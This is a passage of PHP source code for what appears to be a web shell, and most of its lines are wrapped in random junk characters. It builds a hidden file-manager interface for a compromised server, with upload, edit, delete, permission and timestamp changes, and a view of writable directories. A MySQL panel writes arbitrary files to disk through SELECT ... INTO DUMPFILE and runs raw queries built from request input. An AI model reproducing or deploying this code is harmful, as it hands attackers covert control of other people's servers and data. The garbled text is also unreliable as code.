* s/ i; E% x- H1 D" W - formfoot();
, U+ F2 ?+ l1 o3 t& i# U - formhead(array('name'=>'fileperm'));- k/ T U i$ C1 k. J$ {
- makehide('newperm');6 {5 l% X- U r
- makehide('pfile');5 D* d! @6 V" a
- makehide('dir',$nowpath);
9 n( Q3 ?: D9 s) V, q5 G6 C U) E - formfoot();
; D! n, O% | ?& Z& c) K& M - formhead(array('name'=>'copyfile'));# R2 H$ B$ f) j
- makehide('sname');; b# C6 B% T7 m
- makehide('tofile');
6 K& {! ~' [3 Q. L2 c: V! @, Y - makehide('dir',$nowpath);9 r( d# H o3 a$ j& `6 ?
- formfoot();' d- V2 Y+ L8 _; T- l9 ^( o
- formhead(array('name'=>'rename'));0 _. E, r+ ^9 I' |/ ~. }' v- e
- makehide('oldname');
! G' ~ r$ Z8 p" W+ i - makehide('newfilename');
) J9 t/ _& a( a7 _7 O2 x - makehide('dir',$nowpath);7 W/ Z- Z" o. {7 \5 O* {0 d. h
- formfoot();
: a3 B8 O g/ k3 ], y - formhead(array('name'=>'fileopform'));
$ u6 ?4 a( A2 D1 Z& f1 n: p' Q - makehide('action');9 h# {5 u/ S1 K& d* P
- makehide('opfile');
' _" @/ v3 i7 Z9 p& t5 I - makehide('dir');
: ^- ]8 r# c! R5 y- I: N2 C3 M - formfoot();
/ p+ s% W0 f: R" S - ; X5 u. i, O& `& H% L/ R! h" Y5 }
- $free = @disk_free_space($nowpath);
" Y: ]1 u( d& Y7 D$ n4 _' s - !$free && $free = 0;& v' Q0 L* e5 T1 W# c
- $all = @disk_total_space($nowpath);
7 Y, x7 R' L4 o0 u1 x4 c# h - !$all && $all = 0;% E5 ~0 f5 e7 H! C
- $used = $all-$free;
' m5 [ l. s/ `1 U% _0 j6 | - $used_percent = @round(100/($all/$free),2);; |# t D' f+ B a8 h) p
- p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');1 n* e7 ~! T3 ]! w+ ^$ \1 G
-
% q- p. m; @: N" D: o - ?>
* W" f. O5 Q" v; s" b9 B - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">/ W$ r& A8 z8 v) `" `( ] k
- <form action="" method="post" id="godir" name="godir">6 d" q2 {1 }7 }. r1 @
- <tr>9 d; P% A* r/ c+ ^
- <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
, {* {$ O0 ~* O2 _1 I - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
0 g" I! B$ ?8 E, ^ - <td nowrap><input class="bt" value="GO" type="submit"></td>
% {9 M; U. M3 g" F: ^8 | - </tr>
& I: I# a7 x) I6 c9 v - </form>4 T9 D# |5 F1 [" v" o
- </table>
) Z& \1 O& s: o' ~1 b" s1 V - <script type="text/javascript">
# Y1 l# v: a/ @$ t+ s; v- H - function createdir(){
# X# ]/ X( q2 L8 ]- S - var newdirname;
& A/ b8 f; w2 k6 W+ s) f' G - newdirname = prompt('Please input the directory name:', '');. r x+ W3 D6 ?" G
- if (!newdirname) return;) t1 m* o8 k) t5 }
- $('createdir').newdirname.value=newdirname;
' E' J& @+ q# Q% |: `: V: P( ~ - $('createdir').submit();
# Z& Z" {3 B5 i. z, U/ R. Z4 A - }* R7 d3 L7 m Y V% d+ U, d: U& b3 j
- function fileperm(pfile){
$ c) @2 P& g; c+ H, F- n - var newperm;
, l3 ]4 T) V/ \, b5 s/ l% I9 ` - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
3 l8 u2 C" t: l; y! Y9 c& r - if (!newperm) return;
' c, d3 r3 {$ p% i - $('fileperm').newperm.value=newperm;( [% {1 E; |) L- _; o
- $('fileperm').pfile.value=pfile;$ n Z7 M( k: u' f8 r& [
- $('fileperm').submit();9 }2 D# o/ R" j7 q! ?1 f/ T: ^) A
- }3 d) |) a; k. f. d |* g3 |
- function copyfile(sname){; O! _% A- P3 X- L3 f l
- var tofile;
7 F3 A/ c* V% v( t, N - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
0 M% ~* \' j+ {( P5 A4 Z/ u' b - if (!tofile) return;' J! ?2 G1 Z: [% p) D# n2 w
- $('copyfile').tofile.value=tofile;( k0 s3 n3 @1 c
- $('copyfile').sname.value=sname;' b( M. ?. V: t$ B
- $('copyfile').submit();
4 y" d% V( F8 \) K: S0 ~! i - }0 z$ c5 s {; S# S2 _7 k+ o
- function rename(oldname){
. \$ ^& b9 O$ O1 s3 U - var newfilename;. w% |2 H) g5 d- U5 Z
- newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
& t. W' q3 p/ r% S/ ?* S y+ f- ? - if (!newfilename) return;6 g/ s' X2 z. H( t% e# j' f7 X
- $('rename').newfilename.value=newfilename;
X2 e+ ^7 _+ P8 v/ i4 W - $('rename').oldname.value=oldname;
: Y$ P) T3 M: t8 r7 x$ t6 Z - $('rename').submit();
) A i" P% |$ d+ |! f, w6 p - }! }! T" Q/ R8 B- ^/ s. r9 f. M
- function dofile(doing,thefile,m){
5 C; w' E- [7 l/ t% m4 ~ - if (m && !confirm(m)) {
" L9 s* r. f$ I5 v - return;
! D" K* S" B; L- o7 B8 W7 G - }
" v/ ]/ f: U' ~9 e( r - $('filelist').doing.value=doing;
) u8 r$ ?3 @- p3 I0 C - if (thefile){
+ c4 j. P# o5 _5 z - $('filelist').thefile.value=thefile;
6 V6 Y/ F5 p) E" F - }; \% w2 o/ k/ a1 z: a
- $('filelist').submit();
* O* z9 L3 K% \3 _; |( U - }2 D! O4 h, d3 T# E2 m
- function createfile(nowpath){, S) {9 R( ]: d
- var filename;' P: r3 t# {' n4 }2 s( W
- filename = prompt('Please input the file name:', '');
! w8 s4 C6 F5 x0 ?2 `+ d# d - if (!filename) return;
, U( N2 L; V2 T. u# } D - opfile('editfile',nowpath + filename,nowpath);6 v- \: P# ~8 `. L* Q5 n* M F0 l! F
- } k) A# G% v' e
- function opfile(action,opfile,dir){
# D1 Y- ^3 M! S4 K6 F - $('fileopform').action.value=action;
, w3 e8 q9 g+ T - $('fileopform').opfile.value=opfile;
; T5 p/ ~" o1 E% N - $('fileopform').dir.value=dir;0 Z0 Y$ I9 c& r4 R9 a
- $('fileopform').submit();
7 Z E9 A" T' W- V& c - }
9 a& n" H* i: G- _! q3 W0 w3 A - function godir(dir,view_writable){
3 _$ M6 n+ x/ H1 n - if (view_writable) {
5 l' ~+ g# x# ]$ @ - $('godir').view_writable.value=1;
& d% @$ i/ ]5 V+ B - }6 z7 U% f5 ^ i5 `% u
- $('godir').dir.value=dir;5 L3 j) G# P9 D; r# C* a# H
- $('godir').submit();
' c2 n2 S6 G* N( j1 v - }7 X+ [/ ]$ B; B, E5 {" Y
- </script>
& l' }9 c! |/ C, | - <?php
3 j6 f4 K# X* C, k! h' e7 T' f - tbhead();
; Q' J0 h5 q) F4 x/ ?; Z - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
" C0 W' M5 `7 L - p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');) q2 x7 Z- G/ z# C# Y& O, L
- p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');3 e6 i) H$ Z- Q! `3 @2 b3 ^
- if ($view_writable) {0 g; X& P% V9 X- M
- p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');' F" N& x" w/ p
- } else {0 q. D, ^' U/ |8 U: z
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');2 W- l* {7 R. ?# Z( ]' ^
- }+ v2 L; A3 z' } \) G0 @9 \! U
- p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>'); V7 O* W. g, k! B2 S; \' ?5 C
- if (IS_WIN && IS_COM) {
3 Z) x k3 `' j: }/ i4 x! D0 f - $obj = new COM('scripting.filesystemobject');& E& Q# ^- s) ~: }' t; c* c9 z. m
- if ($obj && is_object($obj)) {- J) j9 k; x/ H' B- P9 W1 M w
- $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
! x* W8 E7 k/ K d) W9 Y - foreach($obj->Drives as $drive) {
) H% M* b) m3 g& o4 N6 w, @ - if ($drive->DriveType == 2) {4 k2 @1 P. j8 }
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
: l% n+ _2 [7 y5 ~9 X! y - Free:'.sizecount($drive->FreeSpace).'7 h' J/ J% c6 o& a9 ~7 C! j, M
- Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');# s+ w. n' C7 o
- } else {4 p9 a; x! x! |0 s
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
5 U! K. X/ e5 q: V+ P* O - }
) L0 N6 z( c( n# _ - }
- P* ^6 c& A& f - }
, |! I. @( `; G; o - }
# v5 \ J) s9 U3 f p7 V7 H- ^ - ' P/ c3 F# E$ T( |% w
- p('</td></tr></form>');( K& I" q" ?, g! R& U- f+ h+ u: k+ w
- 2 g1 o, E! {8 H; c$ D
- p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
7 N" a8 N4 ~3 \% ~ -
# V7 Z" o9 V8 { - //查看所有可写文件和目录
5 i+ v- L4 n7 r, o. s' ? - $dirdata=array();0 D5 Q7 n& v# Z$ M E
- $filedata=array();" @6 N1 U `0 T6 m r2 {
- 7 R* S8 Z' O( J+ ?% R& \3 E* H
- if ($view_writable) {
& k! Q* {! Q' I$ C. d - $dirdata = GetList($nowpath);9 G8 ^8 u6 e" R2 }: [2 \4 b$ u
- } else {( t0 ?6 o _$ l: G+ v
- // 目录列表
& Q# H( V5 w F1 Q: {& P! j - $dirs=@opendir($dir);
$ P: F' j: J5 R0 G - while ($file=@readdir($dirs)) {: x6 o3 s5 F' X( {' {
- $filepath=$nowpath.$file;& O2 ^+ s( W* L' r
- if(@is_dir($filepath)){5 o2 W2 l6 I) p, C- e, [
- $dirdb['filename']=$file;
/ ]% V4 W5 U3 N - $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
) S. _2 G( o& }8 s! l - $dirdb['dirchmod']=getChmod($filepath);
2 U% @4 b1 [) S Q5 q- Z - $dirdb['dirperm']=getPerms($filepath);4 f% h) w9 Z% r* O* Y: I; Z
- $dirdb['fileowner']=getUser($filepath);
. {, s" F& w5 h. {, m - $dirdb['dirlink']=$nowpath;1 o6 p6 U2 c: V" I4 y
- $dirdb['server_link']=$filepath;1 S" @4 k: M6 W) p8 A* N: r& P
- $dirdb['client_link']=ue($filepath);" b1 a' h- D' @0 K% U
- $dirdata[]=$dirdb;7 K7 `% |& K) M9 {2 l/ _
- } else {
- X) v8 ^! }. j' P3 a/ U - $filedb['filename']=$file;% y8 _7 d+ Y7 W$ `' U& K) z0 {
- $filedb['size']=sizecount(@filesize($filepath));
: J0 r6 q0 M4 D* L: v - $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));! q7 s# }) N4 C: t( v
- $filedb['filechmod']=getChmod($filepath);
. H% U) ?) k4 Z& I) o) i - $filedb['fileperm']=getPerms($filepath);
/ }# C. L& b% Z4 A0 S( y2 { - $filedb['fileowner']=getUser($filepath);
3 w. I0 o$ @5 j/ u - $filedb['dirlink']=$nowpath;# O9 D; |* x2 G* I& z9 i, Z
- $filedb['server_link']=$filepath;
/ y- F) } p; p9 q; | - $filedb['client_link']=ue($filepath);1 s9 f$ O: c% A
- $filedata[]=$filedb;( c) W* ?; T# U0 D `: F
- }2 R) E" ?% b o% [, s
- }// while9 m+ a. Q; w5 Q4 o
- unset($dirdb);
* @5 M# T7 {; v$ m8 F - unset($filedb);
' Z; d1 H2 j1 s# e' D - @closedir($dirs);
* g; r h5 C$ a: j - }' n0 \' R G% M ]; |0 y/ R" H7 k
- @sort($dirdata);
# P [- @8 M. p - @sort($filedata);
0 X# T% ]" F, }& g' w5 C/ m - $dir_i = '0';9 w. t' G. L( z: `( H1 q% j+ a
- foreach($dirdata as $key => $dirdb){% k- Q* g+ }' L- T6 }! h3 W" C
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {! j1 d* `/ ]: w6 I; O' Q
- $thisbg = bg();( y6 ?8 {2 }9 X/ j3 O% W
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
$ g8 `. Z( E- a6 F& P) K1 o - p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
, N9 \1 ~+ h4 x# p7 S - p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');# G1 u5 J* J& ^. E/ k4 c
- p('<td nowrap>'.$dirdb['mtime'].'</td>');
; }5 J& V6 u9 a' ` - p('<td nowrap>--</td>');
7 [- e# _8 k: Q( o - p('<td nowrap>');
/ n U6 O8 ~+ u1 J4 r! a - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
: T- Q9 ` U3 M9 W# g - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');5 Q) S1 R: g9 G
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
4 P" G! x) p2 x5 q. k2 w0 R - p('</tr>');
, k4 e8 @0 V! ~ O5 w$ }% Q - $dir_i++;: o; i+ {: ?+ F- M! h7 l
- } else {+ x/ u0 Y2 b6 \+ L% }
- if($dirdb['filename']=='..') {0 w5 R1 Y# B+ e. _9 b% |5 h: X6 l' p
- p('<tr class='.bg().'>');
S8 ? k/ X2 ~+ K - p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');, V2 _, I( q$ ]; G/ t
- p('</tr>');
# |; P2 h' o* n& ]! w/ F ^ - }2 ]! R% S0 R2 S/ d
- }
1 U; d" b; f* X! o( s# a - }& ?! B8 v; T! Q# [5 `$ C7 I) K% T
-
7 G. F1 A; I# c6 R - p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');7 r6 T/ a: q& }0 D7 l4 T% v5 ]
- p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
0 {, }8 k+ D" S, v2 V g+ l - makehide('action','file');
: w2 R+ _& K0 q - makehide('thefile');/ R1 K1 P T8 T* E7 d- G2 _3 F
- makehide('doing');% H# H6 k( P+ ~$ T3 z
- makehide('dir',$nowpath);; @% P1 b/ K6 b8 L
- $file_i = '0';
. a s2 y* R0 S7 @" R& @8 w - foreach($filedata as $key => $filedb){4 f+ y# f( ]. ]. _, n
- if($filedb['filename']!='..' && $filedb['filename']!='.') {2 _+ F/ Q# \9 E+ @$ u% b
- $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);: D2 I0 r: N, S- I
- $thisbg = bg();
3 m4 f. ]8 y) I ~3 t: M: \ - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
/ \& e$ N9 Q& V7 P0 A- { - p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
" f6 `8 Q. L! o - p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');8 O' {3 u5 \; V$ {
- p('<td nowrap>'.$filedb['mtime'].'</td>');* o( `% N3 R, w; I
- p('<td nowrap>'.$filedb['size'].'</td>');
. ~ }8 C- y5 l- W: j W* ]* ~& ~: | - p('<td nowrap>');
/ ~9 H8 a$ E1 K2 s- J - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
4 ^9 n/ ^8 ^' E. X7 E1 L5 e2 Z: m* y - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');* ?/ ^. q/ X/ ~1 d# h
- p('<td nowrap>');
6 b% x: _% e# C) S: z( c: |5 O - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');% Q1 |0 }4 \8 { F) O6 F1 }
- p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');4 G2 y; ]) c6 @
- p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');$ R% a3 w: W+ W, w6 c; Q) L* n
- p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');' u9 F9 A4 L M/ i1 j4 L% J
- p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');* Z" Q% ~; ?5 T$ w! J
- p('</td></tr>');! |" E W& H8 i/ F) m, A
- $file_i++;
4 V9 E6 ]; ~$ n6 B, k. D% ?7 _ - }
+ d. M% [% X( D) W" x1 x z( [ - }
; w" v a- U1 X7 O* `4 n - p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>'); t: c6 \; b1 G: b& e
- p('</form></table>');
9 w6 x& p$ @/ u; D( y - }// end dir
3 c5 n& n/ b9 O: m; {) b -
; X5 p- |: g2 e1 {5 r3 p - elseif ($action == 'sqlfile') {
' [0 L( K4 A7 ^7 r - if($doing=="mysqlupload"){
$ i! C* e& `0 r - $file = $_FILES['uploadfile'];
0 S1 n2 V; {* V5 W! ` - $filename = $file['tmp_name'];4 G) B/ J% g& j$ x
- if (file_exists($savepath)) {
7 q F, ]3 j) a1 f - m('The goal file has already existed');+ r' c8 n. N8 o( t. J1 }
- } else {
1 Z) M; I, u( V - if(!$filename) {
( v9 h; T, J$ u4 A - m('Please choose a file');7 H5 t" ?6 b {" j4 t
- } else {. y3 ^/ ^; U: A: h0 K9 J' Z
- $fp=@fopen($filename,'r');4 T0 A* f8 ?; n( k) @
- $contents=@fread($fp, filesize($filename));. i' o) @% V! {+ I8 o' u- x7 ], U
- @fclose($fp);# M' Y% `% K7 x- x# F4 n
- $contents = bin2hex($contents);
! u- C/ g2 K/ D0 c - if(!$upname) $upname = $file['name'];( _ v8 C" \) F( L
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);& S8 B3 q9 j) r
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
/ U' L' a) \& g |2 w8 r - m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());' ]4 h2 l/ M7 s- j7 R- _
- }+ m0 B( @9 S5 z8 Y
- }
0 a8 N f. M8 D# g5 l - }
/ D* _$ R7 J5 ~: D. w% j6 F; R3 _ - ?># Y* V" ^5 G' F3 K- W
- <script type="text/javascript">- Z, U% R3 }% A8 |
- function mysqlfile(doing){4 s& o0 O1 l" K( w
- if(!doing) return;, H4 N- w7 [4 q# {0 g
- $('doing').value=doing;
5 f, X2 q0 @9 I' @# ~9 ? - $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value; \" P+ ? @9 \) c! V& y
- $('mysqlfile').dbport.value=$('dbinfo').dbport.value; V. v4 E6 a+ j- U! T: u
- $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
; M$ m+ [6 t X8 x- U- W - $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
J$ R; Y: j0 p+ s# }( v - $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
3 @- Y8 W8 p5 M0 |5 Q - $('mysqlfile').charset.value=$('dbinfo').charset.value;
k3 c2 I) {3 j/ H - $('mysqlfile').submit();
, C8 P; G/ M& v/ S/ u7 S - }8 r' M, ]* m% e/ b; ?
- </script>
& Y" y8 M! r; T - <?php. K4 Q; g" `: Q# ?4 J/ l. V
- !$dbhost && $dbhost = 'localhost';2 N; c, K8 G3 t+ C
- !$dbuser && $dbuser = 'root';* s7 \ p3 j/ d B5 l$ R, r
- !$dbport && $dbport = '3306';, l% O ?) y' `9 a0 i
- $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
0 [4 K7 @. T F8 q - formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
- S. M3 ~! w. e# Z% { - makehide('action','sqlfile');1 T" s J$ U2 {9 H
- p('<p>');* Y* X# L* K$ o# f) x) q$ a
- p('DBHost:');
( j" R: ]" K- ^! c' a1 S; R - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));) |$ u: K( @ ^# t" @' ~. g
- p(':');2 V1 d& [4 Q( A5 j. x ^
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));# X0 _1 R: c$ |, o% o3 o4 V1 B
- p('DBUser:');
$ X7 Y& L: K" j# L2 w# B - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));9 h9 o# X6 |" n: z) I: u2 I
- p('DBPass:');, `& D+ H/ d' L1 A3 V, ]$ q) o
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));2 c3 V' F) B& y6 D! F {5 y
- p('DBName:');' {) s( G; Q2 b& c4 ]( R! L
- makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));7 q; b$ w6 z1 p
- p('DBCharset:');
( E- D2 X5 h6 n4 \, |# d1 T x; m& Z4 l - makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
! j+ s3 l( D0 B) S' r8 }+ p. J: i - p('</p>');0 ~' E$ |1 P: F" x: Y- d |
- formfoot();
% }) F( M5 g, \! ]# n) T9 Z7 ?6 h; o - p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
, w: S* {( N9 g - p('<h2>Upload file</h2>');
; i' J- q1 k3 p* L - p('<p><b>This operation the DB user must has FILE privilege</b></p>');% R; m9 Y! l$ T/ L# n! l
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');2 ]9 }5 ]( y$ M5 ^. b, N L
- p('<h2>Download file</h2>');
8 B3 Y6 S: N. n1 q - p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
, e% c! \+ \, r0 G - makehide('dbhost');: ]; ?) n7 L! Q) L3 [/ d
- makehide('dbport');& x: A6 y, R* W$ c, h, e5 g4 Q$ s
- makehide('dbuser');
) R/ s7 B7 O. |, S: E: B% x- b - makehide('dbpass');
5 ?9 v+ q& H( T+ G; a: ?8 A - makehide('dbname');' j, s5 a( @0 a N
- makehide('charset');$ z+ X5 g$ g8 P3 @* ~
- makehide('doing'); W# j# g' r" ]' P) T
- makehide('action','sqlfile');: h" h$ b7 X: V$ ^; E' A) _8 `# U
- p('</form>');- p! l0 l/ F/ S% O4 O% g
- }
6 O2 p- I1 j- C V# E -
6 u* T, C5 f: h" Z* H/ t - elseif ($action == 'sqladmin') {( [- j: i) @9 s
- !$dbhost && $dbhost = 'localhost';! V' e* d: [6 S: o3 F9 q
- !$dbuser && $dbuser = 'root';
( I1 b8 X' I! r- [/ i - !$dbport && $dbport = '3306';
3 P" T; l, K: u* _/ A: T1 m! A - $dbform = '<input type="hidden" id="connect" name="connect" value="1" />'; |7 ]( V0 F' u% |& O: N& G
- if(isset($dbhost)){
$ n. C Y" n# M# H9 Y - $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";
& v0 g7 x8 b* E! p1 ^ - }7 `! x) }; x/ Z# O" c {
- if(isset($dbuser)) {
7 `! @6 }2 M- r - $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";' K0 W t( y5 D+ l
- }
1 E' S; I0 ~' q5 f# x - if(isset($dbpass)) {/ K9 Z. w3 ]) |: o. q5 I
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";
6 X9 A/ h2 p4 b0 K: n* g - }( y1 Y) l9 T# L5 a }* p
- if(isset($dbport)) {
! b0 o0 a: N& z' M* d8 { - $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";
& }4 A: l, M3 t# s& u5 \% g/ E - }
) e3 s9 y3 q3 @% p - if(isset($dbname)) {) F: t7 }9 O( j& _ L2 C
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";9 o/ X% G+ k4 B3 W, ^3 A
- }7 ]) t n6 t Q1 x
- if(isset($charset)) {
; J. q) @' k& h9 L# r% K* K& P - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";0 H6 ~9 S; W1 o2 i4 S( f
- }
8 Y, b$ Q2 o1 k& @ e, m) a& N -
7 ~) ~0 A" M( b# F( i - if ($doing == 'backupmysql' && $saveasfile) {
# b8 C% @. X, ~ - if (!$table) {
" @6 H' N7 v. k# [' P0 Q - m('Please choose the table');# |/ a4 L8 Z$ B6 _- L
- } else {
% V: F. O! i: s1 A1 g# A - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);. x5 |3 k! q1 `# z
- $table = array_flip($table);$ t' t! U. z& U! L: T2 r; T
- $fp = @fopen($path,'w');$ ^( s4 Y& ], ~- E) G
- if ($fp) {% N) R% ?; ~: K* c" x7 @5 U3 \
- $result = q('SHOW tables');
& G7 R6 \# h2 O - if (!$result) p('<h2>'.mysql_error().'</h2>');. _$ r0 f3 h2 u( B
- $mysqldata = '';
3 X% z. R; I2 v - while ($currow = mysql_fetch_array($result)) {/ C1 V8 G) T E, C* {, V( W) _3 v
- if (isset($table[$currow[0]])) {: h0 m- g* u8 A3 |2 ]
- sqldumptable($currow[0], $fp);
! R+ v% j0 j+ A7 @* | C - }9 D0 q/ N! q9 V2 x/ M2 n2 X; V
- }
: e% X5 V+ k$ m2 A( ^( M - fclose($fp);
6 n1 a4 w, Y, E4 ?% k8 Y - $fileurl = str_replace(SA_ROOT,'',$path);
" i$ v" {0 j% w) U - m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');+ }4 _9 g2 E* n; B9 a2 h$ F$ P5 r% X
- mysql_close();
& G! |& `6 e+ u# I* O* R - } else {1 h+ w' x# }: U" F/ h+ F9 m; F
- m('Backup failed');
8 P, ~) {( i- H - }
) ]# L2 n' O% A( H - }/ f# L! R) P4 I
- }
% w+ S5 j [$ \3 ], m - if ($insert && $insertsql) {0 m' O- C5 _$ ? ]2 f. V7 ^
- $keystr = $valstr = $tmp = '';1 B* s& b& ~% g8 _( g# M" D8 Z/ Z
- foreach($insertsql as $key => $val) {
8 A! h9 h/ G6 s' T; \9 i2 c - if ($val) {2 m. g6 T% W; w: Y/ g5 L6 w" b
- $keystr .= $tmp.$key;
8 O+ U" B' ^. E. U* N9 l7 |3 S - $valstr .= $tmp."'".addslashes($val)."'";- X; u9 e/ |+ {2 X. c+ J
- $tmp = ',';9 F; @$ m" G$ r) _
- } D$ K8 l2 l. s' [6 ^% S* p- q. g; l
- }4 u* x! B/ |2 L4 p& W) _
- if ($keystr && $valstr) {
* } o# Q) H- l - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
! N& ~. q' T! a1 s# ]) _ - m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
4 W& t7 F$ { Y8 Z4 s+ s+ W. ?( T - }) a& \' N5 Q% B3 c! I4 v* Z
- }
|4 `, Z& [- Y* T - if ($update && $insertsql && $base64) {3 D, a6 Z# U# D' G! V
- $valstr = $tmp = '';
$ k# O1 l3 T+ G - foreach($insertsql as $key => $val) {5 i' R1 |. M1 w9 |/ w
- $valstr .= $tmp.$key."='".addslashes($val)."'";8 F# w1 k4 ?' c7 e4 ~ c
- $tmp = ',';
# _- ]# C4 L4 B& [1 S5 l G - }
' l3 W @ U) x, J' ?- c+ y" F - if ($valstr) {
+ Y* W) M* ]! D - $where = base64_decode($base64);2 S, f! |& c7 b9 \ Q0 J$ P" |& ~
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);: o; `4 f4 v- ?) s. n4 Q6 j
- m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
( H( b, [# q6 ~, ~ - }
, c3 B# @" n9 Z) v! u: \& U - }
! E7 |+ c, b' o# j2 ^ - if ($doing == 'del' && $base64) {% c) T$ P4 h3 F
- $where = base64_decode($base64);
